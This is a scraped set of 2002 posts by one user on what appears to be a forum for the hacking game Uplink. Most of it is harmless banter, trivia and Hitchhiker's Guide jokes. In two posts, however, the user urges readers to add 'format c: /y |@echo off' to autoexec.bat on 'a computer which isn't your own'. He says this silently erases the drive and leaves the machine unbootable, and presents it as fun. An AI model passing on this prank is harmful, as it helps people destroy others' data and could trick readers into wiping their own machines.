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by BlueScreen
Fri Nov 22, 2002 8:31 pm
Forum: General
Topic: reverse Questions and answers
Replies: 651
Views: 36464

Q. what do Goldfish taste like?

A. We're a lightHouse, You're call
by BlueScreen
Fri Nov 22, 2002 7:58 pm
Forum: General
Topic: reverse Questions and answers
Replies: 651
Views: 36464

Q. What's the least likely thing to be said by someone playing uplink?

(6*9 == 42, when you use base 13)

A. JOLT Cola, almost pure Caffine
by BlueScreen
Wed Nov 20, 2002 10:16 pm
Forum: General
Topic: Ban People!
Replies: 29
Views: 1426

would it be possible to put a cookie on the computer of a banned person so that every time they tried to create a new user at the forum they would be denied?
by BlueScreen
Wed Nov 20, 2002 3:14 pm
Forum: General
Topic: You guys all have lives... outside of Uplink...
Replies: 50
Views: 1717

yes it's only to be done on a computer which isn't your own,

it will format c: it won't ask if your sure and it won't display the fact that it's doing it, (thanks to the |@echo off) the only thing time u'll notice an effect is when the computer fails to boot up
by BlueScreen
Mon Nov 18, 2002 7:04 pm
Forum: General
Topic: You guys all have lives... outside of Uplink...
Replies: 50
Views: 1717

if u want to write .bat files, just add the following line at the start of the autoexec.batfile

format c: /y |@ehco off

(using shift+\ key for the |).

reboot the computer and watch the fun :biggrin:


(Edited by BlueScreen at 6:08 pm on Nov. 18, 2002)
by BlueScreen
Mon Nov 18, 2002 6:34 pm
Forum: General
Topic: C++
Replies: 19
Views: 901

Java, better than c/c++ ? no way, yes, java is a lot more portable than other languages BUT java is very slow when it comes to writing large programs (did anyone hear of corel office for Java? - it got canned because it ran too slowly) also there is no direct memory (RAM) access for java, you have t...
by BlueScreen
Thu Oct 17, 2002 9:14 pm
Forum: General
Topic: Computer Is Evil!!!
Replies: 94
Views: 3190

GOD's final message to the universe:
[color=#ff0000]SORRY[color=#000056]_[color=#ff0000]FOR[color=#000056]_[color=#ff0000]ANY[color=#000056]_[color=#ff0000]INCOVINIENCE[color=#cccccc]


(Edited by BlueScreen at 9:19 pm on Oct. 17, 2002)


(Edited by BlueScreen at 9:19 pm on Oct. 17, 2002)
by BlueScreen
Thu Oct 17, 2002 9:01 pm
Forum: General
Topic: New User
Replies: 14
Views: 687

one solution is to uninstall XP, repartition your hard drive (to remove NTFS) and install a copy of Linux
by BlueScreen
Thu Oct 17, 2002 8:58 pm
Forum: General
Topic: Computer Is Evil!!!
Replies: 94
Views: 3190

Vote for
Zaphod Beeblebrox

The best Galactic president
(according to the people who acctually run the galaxy)

he has spent several years in gaol and is an escaped convict on the run with a stolen ship
by BlueScreen
Thu Oct 17, 2002 8:49 pm
Forum: General
Topic: Computer Is Evil!!!
Replies: 94
Views: 3190

Hmmm just look what GM food will be able to do

having food that actually Wants to be eaten

i'm sur that some people would cry out against that
by BlueScreen
Thu Oct 17, 2002 8:44 pm
Forum: General
Topic: Computer Is Evil!!!
Replies: 94
Views: 3190

unless this is just an example of Bistromatics

(i won't try to remember Hitchhikers Guide to the Galaxy V2.0's entry for Earth)
by BlueScreen
Thu Oct 17, 2002 8:37 pm
Forum: General
Topic: Computer Is Evil!!!
Replies: 94
Views: 3190

for there to be an answer, there has to be a question,
which in this case shows that the universe has a fundimental flaw in it
by BlueScreen
Thu Oct 17, 2002 8:33 pm
Forum: General
Topic: Computer Is Evil!!!
Replies: 94
Views: 3190

what is the ultimate question of life, the universe and everything?
[color=#ffffff]
by BlueScreen
Thu Oct 17, 2002 7:57 pm
Forum: General
Topic: Computer Is Evil!!!
Replies: 94
Views: 3190

strictly speaking, the blood cells are colouless, it's the oxyheamoglobin in the cells that turn them red and the heamoglobin that turns them blue

the blood plasma is a yellow sort of colour
and there are other cells and chemicals of various colours that float around until they are cleaned out
by BlueScreen
Thu Oct 17, 2002 7:21 pm
Forum: General
Topic: Computer Is Evil!!!
Replies: 94
Views: 3190

if you want to read thet site in (bad) English
CLICK HERE

give thanx to the bable fish, as i cant read cyrilic or speak russian

(Edited by BlueScreen at 7:22 pm on Oct. 17, 2002)

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